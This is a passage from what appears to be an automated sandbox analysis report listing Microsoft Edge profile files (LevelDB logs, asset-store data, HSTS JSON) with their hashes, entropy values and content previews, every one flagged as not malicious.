SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	481366
Entropy (8bit):	5.396227039722163
Encrypted:	false
SSDEEP:	3072:IbS15tRdAYDI1JcYxI57aDZ7aJOGiMleOebNG/dFd2X13WG:IbcXAYDI1JcY+5WZ0OG1yJG/dKWG
MD5:	B50DD128E3431C70AF3F4D27289B9D26
SHA1:	12B197B29D5F75D28BC1487B7D465500CE28A811
SHA-256:	6E6FB4A50976725DDE8B93CFD5520472A1F12509E7B9E17A3A739AD246DF29BE
SHA-512:	807DDD78692CB847599EB52D1F86BB9B0385E8129312D6B6D2CF69897520B2E13B319366F63498F1E938C360497C7617ADF2B15B3295E0BD92BD3EBFE0FFBADC
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.158463144593102
Encrypted:	false
SSDEEP:	6:BMZ2z4q2PN723oH+Tcwt9Eh1tIFUt84MZRJZmw+4MZbVNDkwON723oH+Tcwt9Ehx:i2UvVaYeb9Eh16FUt8p7/+pbVF5OaYe8
MD5:	C98FCCF635845CD5227D8CC973A44882
SHA1:	6107C3419C128DE95997A4AB71028BB935EDD601
SHA-256:	544D6B4409C65757BA3EDA17BF5E9D7CA38D9CAD843D94634D99326794ECFFE8
SHA-512:	FABCE851398A1147C3EB2417F3D40AFEF70FDDFF372738F002557FFFDF262053B514A80AC9034277DA898B0C49DACF74796D0357A7986148E496C73CC03DF4B8
Malicious:	false
Preview:	2024/07/26-07:52:16.573 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/07/26-07:52:16.574 1c80 Recovering log #3.2024/07/26-07:52:16.648 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.158463144593102
Encrypted:	false
SSDEEP:	6:BMZ2z4q2PN723oH+Tcwt9Eh1tIFUt84MZRJZmw+4MZbVNDkwON723oH+Tcwt9Ehx:i2UvVaYeb9Eh16FUt8p7/+pbVF5OaYe8
MD5:	C98FCCF635845CD5227D8CC973A44882
SHA1:	6107C3419C128DE95997A4AB71028BB935EDD601
SHA-256:	544D6B4409C65757BA3EDA17BF5E9D7CA38D9CAD843D94634D99326794ECFFE8
SHA-512:	FABCE851398A1147C3EB2417F3D40AFEF70FDDFF372738F002557FFFDF262053B514A80AC9034277DA898B0C49DACF74796D0357A7986148E496C73CC03DF4B8
Malicious:	false
Preview:	2024/07/26-07:52:16.573 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/07/26-07:52:16.574 1c80 Recovering log #3.2024/07/26-07:52:16.648 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	854587
Entropy (8bit):	6.011119224202052
Encrypted:	false
SSDEEP:	12288:8e/LHQ7MR98fWrOCgTW6nKmhuEZjjayCalEJ1uUnMHj0RyytqzwRJqJ8T9b:/HQILuWrXSbKuNZ/amEnuoTN3O8h
MD5:	D89F43EC653BCB9B6ADFBFFBA807024B
SHA1:	39524AA46ECCCD2A390CC5CE5EA1D38CE6913BD0
SHA-256:	E247035347AE85D1F8EA4517795FB6DDF96D9664009BD2F00AF064AE3B0B6E20
SHA-512:	69492B58DB4C3329D8068979829B84EEAEC6DD5DF939AF770E356702251667B59739C85CE941C6FC162CCB830021472604E1AF322732C46956CDF2AA7E60CAAD
Malicious:	false
Preview:	...m.................DB_VERSION.1..N).................BLOOM_FILTER:..4{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasUkRtOJpYp6Wpx/+CPNUSp1rx6dUmQTRC9+9IJgWbUIiRoTbPMyse76DaN25FEk7W+Hk1m3yH4Y3iIeiRxgUJU6DtqTQ3QMxwy4TY+Rr7Xa7ltG4EiOcAmaX8uKJfn+FBJNKLtCRORSg7Y4467LoXiZ9yshfBCKPLhHhYpiDNaLuidZwQhgd8LpPiDsEB/O7UUcvAwC6QFcwK9FRgPnWDxzC1fudl90b8xLirCwkxbkQD4vek9/xNn/PUFGyLBDDc8eK5k529mPTPm7qSPswV+2G0qFTeeLE+9mrp2zz3ZKlBdc3B1XBa0Ui5DkJmC9zpqZ2mdP43x9Rz2zQWxEqESqswV3YikXttibGwTv39vCOJriWkoONjE8TKd/+22vlN6sfPtnCDCFDF4xSuat1uYppjT78fSO66w5lCXNnr1mkEIAFPwNCWkSNT+DabRIK+MhwT8w6gwU9QGnRHbqjO7oHrlADjy01DSLIOdJiR3AxwUahGJw2elmPzzWIjQ7wBsDHW/QO99WlIWGALGNzOSEBY5iZHubhuLN8N/2seLXvgtoVGrOWEDAVG0G4zRUcFbfXehdhMjd1n4JFTswxrehJL+pgBpKpm+Fys7yNX8PCgwymuZB0soVQ9DEB5NxX++ffal8R3U3uSRUC1h4ZNFBJx1KpS08jokS1h

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	854513
Entropy (8bit):	6.009922036312578
Encrypted:	false
SSDEEP:	12288:lB/FH17K898fDrO84TW6nXmhZEZjjTyCvlEW1ujnfHj8SyytqSYRJqyVTmp:NH1OguDrvaNXuaZ/T7EAuDfN2HVK
MD5:	B4A12D4C69223DC41D3B7803EFBA2D4A
SHA1:	CB902E18064A9DDE28D20350910C6397E9F8BB55
SHA-256:	FE9E5B2E2778FD77E79F90C0B95B10F4B758F87AB05A0C97A96E9A5EA664E14A
SHA-512:	3225F0234BF9780D549108E65C8A1B2D7D467C01093348053B9E06D0B86542A08C17EF1DE698147222DFEA5373E4827D83768059B90921A5CB599C122EC46F1B
Malicious:	false
Preview:	....4BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasUkRtOJpYp6Wpx/+CPNUSp1rx6dUmQTRC9+9IJgWbUIiRoTbPMyse76DaN25FEk7W+Hk1m3yH4Y3iIeiRxgUJU6DtqTQ3QMxwy4TY+Rr7Xa7ltG4EiOcAmaX8uKJfn+FBJNKLtCRORSg7Y4467LoXiZ9yshfBCKPLhHhYpiDNaLuidZwQhgd8LpPiDsEB/O7UUcvAwC6QFcwK9FRgPnWDxzC1fudl90b8xLirCwkxbkQD4vek9/xNn/PUFGyLBDDc8eK5k529mPTPm7qSPswV+2G0qFTeeLE+9mrp2zz3ZKlBdc3B1XBa0Ui5DkJmC9zpqZ2mdP43x9Rz2zQWxEqESqswV3YikXttibGwTv39vCOJriWkoONjE8TKd/+22vlN6sfPtnCDCFDF4xSuat1uYppjT78fSO66w5lCXNnr1mkEIAFPwNCWkSNT+DabRIK+MhwT8w6gwU9QGnRHbqjO7oHrlADjy01DSLIOdJiR3AxwUahGJw2elmPzzWIjQ7wBsDHW/QO99WlIWGALGNzOSEBY5iZHubhuLN8N/2seLXvgtoVGrOWEDAVG0G4zRUcFbfXehdhMjd1n4JFTswxrehJL+pgBpKpm+Fys7yNX8PCgwymuZB0soVQ9DEB5NxX++ffal8R3U3uSRUC1h4ZNFBJx1KpS08jokS1hm6TTEEmXB2D9nf+Ng4y9lDv79v44X6LUFdYgHvhTk7Vz

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0a52dac7-3516-4757-9246-b1cc60380e81.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1d17d11e-510c-43cb-bb6f-fb80412c8d44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\51420b53-bce1-4fec-8fad-aa107e9c3955.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\700e3deb-7db1-4886-b658-951fd268b4f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.286467856007709
Encrypted:	false
SSDEEP:	3:YWRAWNjASHJX93PI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdtzcb+:YWyWNkS593Bv31dB8wXwlmUUAnIMp5DT
MD5:	D8E825AC07B81A9B8CAB4FA32C779D79
SHA1:	65F4DDAA0D1DC084C1768ABC2F12D7A493BBE16E
SHA-256:	91791BA2707EA5A62D57CEC1D051B9121D84BE4AD3E17B41FC24B9C6AD089E3B
SHA-512:	9862855A40345F308FC8A5DA4290F0217E2E12033B9AF3A040D7DFC41AB80FA5FC42AAAF393939DE1175FD6336A17B0A7AB1DFEE6FDD466150F5C28A10B996CA
Malicious:	false
Preview:	{"sts":[{"expiry":1753530578.298577,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721994578.298581}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\73b0e5e5-7957-41a6-adef-54641c237cdb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.298391126859763
Encrypted:	false
SSDEEP:	3:YWRAWNjASH+j4PI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdt61QSQ:YWyWNkSBBv31dB8wXwlmUUAnIMp5D6K/
MD5:	D10F223A97A29F39E582C4463D35E22A
SHA1:	44019134EFAD3D0B288DC698A611DFAB9BFD1A9B
SHA-256:	5BC0E3A100135F3B43DB002CB6B761C3DD3CE09B8A03ACA69C97177158051BBF
SHA-512:	0DBB52585F84E58FCF54889C6110B22BDA03DF81DFACDC75728DCA93D78892144F62D7165C0DBD68F14044FC11AA8D1C4D1CB75CC11844C7672CE85258AC5AA0
Malicious:	false
Preview:	{"sts":[{"expiry":1753530573.117596,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721994573.117599}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8a926b78-df5f-46ca-98d6-d781b0fabfff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF44f16.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4657d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF47377.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.298391126859763
Encrypted:	false
SSDEEP:	3:YWRAWNjASH+j4PI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdt61QSQ:YWyWNkSBBv31dB8wXwlmUUAnIMp5D6K/
MD5:	D10F223A97A29F39E582C4463D35E22A
SHA1:	44019134EFAD3D0B288DC698A611DFAB9BFD1A9B
SHA-256:	5BC0E3A100135F3B43DB002CB6B761C3DD3CE09B8A03ACA69C97177158051BBF
SHA-512:	0DBB52585F84E58FCF54889C6110B22BDA03DF81DFACDC75728DCA93D78892144F62D7165C0DBD68F14044FC11AA8D1C4D1CB75CC11844C7672CE85258AC5AA0
Malicious:	false
Preview:	{"sts":[{"expiry":1753530573.117596,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721994573.117599}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF4c62b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.298391126859763
Encrypted:	false
SSDEEP:	3:YWRAWNjASH+j4PI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdt61QSQ:YWyWNkSBBv31dB8wXwlmUUAnIMp5D6K/
MD5:	D10F223A97A29F39E582C4463D35E22A
SHA1:	44019134EFAD3D0B288DC698A611DFAB9BFD1A9B
SHA-256:	5BC0E3A100135F3B43DB002CB6B761C3DD3CE09B8A03ACA69C97177158051BBF
SHA-512:	0DBB52585F84E58FCF54889C6110B22BDA03DF81DFACDC75728DCA93D78892144F62D7165C0DBD68F14044FC11AA8D1C4D1CB75CC11844C7672CE85258AC5AA0
Malicious:	false
Preview:	{"sts":[{"expiry":1753530573.117596,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721994573.117599}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF4fccb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.298391126859763
Encrypted:	false
SSDEEP:	3:YWRAWNjASH+j4PI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdt61QSQ:YWyWNkSBBv31dB8wXwlmUUAnIMp5D6K/
MD5:	D10F223A97A29F39E582C4463D35E22A
SHA1:	44019134EFAD3D0B288DC698A611DFAB9BFD1A9B
SHA-256:	5BC0E3A100135F3B43DB002CB6B761C3DD3CE09B8A03ACA69C97177158051BBF
SHA-512:	0DBB52585F84E58FCF54889C6110B22BDA03DF81DFACDC75728DCA93D78892144F62D7165C0DBD68F14044FC11AA8D1C4D1CB75CC11844C7672CE85258AC5AA0
Malicious:	false
Preview:	{"sts":[{"expiry":1753530573.117596,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721994573.117599}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a3a697ee-2226-45dc-81eb-e47fae1a28ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\de66b456-12d3-4030-a00a-6d6a95419d22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	356
Entropy (8bit):	5.475359850227607
Encrypted:	false
SSDEEP:	6:YWyWNkSIFRvXI1YDr9cyR8wXwlmUUAnIMOD7+hVSRTlBv31dB8wXwlmUUAnIMp5C:YWy7XI2pcO+UAnIV7EgR7N+UAnIspQ
MD5:	070807E86813E5B40026B5DD9311250B
SHA1:	1465C9333821859DD8EFB056F52FFC0BAF3B00BB
SHA-256:	0613A653B5833DFBCE85E6C46F56EE5111AE7FDBCA615889F554C2A8FFE916C3
SHA-512:	97B5FB3FFEFCD8514C57DEC98D3844AC736E21F7723DC37BC0064377FBAAFCB3956C4D21729963E2444C01EA621CACF49B984BDB171F99E51C8CE1DA583B671F
Malicious:	false
Preview:	{"sts":[{"expiry":1753530589.498633,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1721994589.498637},{"expiry":1753530591.896301,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721994591.896305}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9924
Entropy (8bit):	5.110809931526797
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9ko3982nbV+F5dQA3Uh+PrYJ:stArsZCGCDanbG7QLhn
MD5:	E97328600D45F2A62550FF27178C4049
SHA1:	1A4522EE1B6ABFCE21EE08DA028BCADFD2C07F31
SHA-256:	8BD6FCB440F536FE19A927BAAE95FE7A6D951C1BD7E8AE9696258827B1952B2B
